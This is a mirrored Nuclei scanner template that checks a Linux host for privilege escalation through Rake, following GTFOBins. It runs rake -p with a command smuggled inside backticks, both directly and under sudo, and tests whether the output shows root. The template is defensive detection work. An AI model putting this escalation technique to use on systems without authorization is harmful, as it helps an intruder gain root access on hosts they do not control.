mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-10 04:33:31 +08:00
49 lines
1.0 KiB
YAML
49 lines
1.0 KiB
YAML
id: privesc-rake
|
|
|
|
info:
|
|
name: Rake - Privilege Escalation
|
|
author: daffainfo
|
|
severity: high
|
|
description: |
|
|
Rake is a build automation tool written in Ruby. It is similar to Make, Ant, or MSBuild, but uses a Ruby syntax. Rake is often used for automating tasks in software development, such as building, testing, and deploying applications.
|
|
reference:
|
|
- https://gtfobins.github.io/gtfobins/rake/
|
|
metadata:
|
|
verified: true
|
|
tags: code,linux,rake,privesc
|
|
|
|
self-contained: true
|
|
code:
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
whoami
|
|
|
|
#SUID
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
rake -p '`whoami 1>&0`'
|
|
|
|
#SUDO
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
sudo rake -p '`whoami 1>&0`'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: code_1_response
|
|
words:
|
|
- "root"
|
|
negative: true
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(code_2_response, "root")'
|
|
- 'contains(code_3_response, "root")'
|
|
condition: or |